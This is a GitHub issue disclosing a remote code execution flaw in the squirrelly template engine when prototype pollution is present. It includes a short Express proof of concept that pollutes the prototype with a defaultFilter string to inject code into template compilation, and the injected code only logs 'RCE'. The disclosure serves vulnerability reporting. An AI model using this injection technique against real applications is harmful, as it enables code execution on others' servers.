Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RCE when combined with Prototype Pollution #233

Open
sayoojbkumar opened this issue Aug 15, 2021 · 0 comments
Open

RCE when combined with Prototype Pollution #233

sayoojbkumar opened this issue Aug 15, 2021 · 0 comments

Comments

@sayoojbkumar
Copy link

RCE when combined with Prototype Pollution
squirrelly-js vulnerable to RCE when Prototype Pollution exists.
A attacker can have control over defaultFilter which leads to RCE

To Reproduce

test.js

const express = require('express')
var sqrl = require('squirrelly')
const app = express()
const port = 8000

constructor.prototype.defaultFilter="e')); console.log('RCE') //";//prototype pollution

app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.get('/', (req, res) => {
   res.render('index.squirrelly', {'testValue':'test'})
})
 
app.listen(port, () => {})
module.exports = app;

index.squirrelly

<html>
<html>
    <head>
        <title>RCE via pp</title>
    </head>
<body>
    <p>{{it.testValue}}</p>
</body>
</html>

Screenshots
Screenshot from 2021-08-15 16-48-46

Package & Environment Details

  • Environment: Node
  • Version: 8.0.8
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant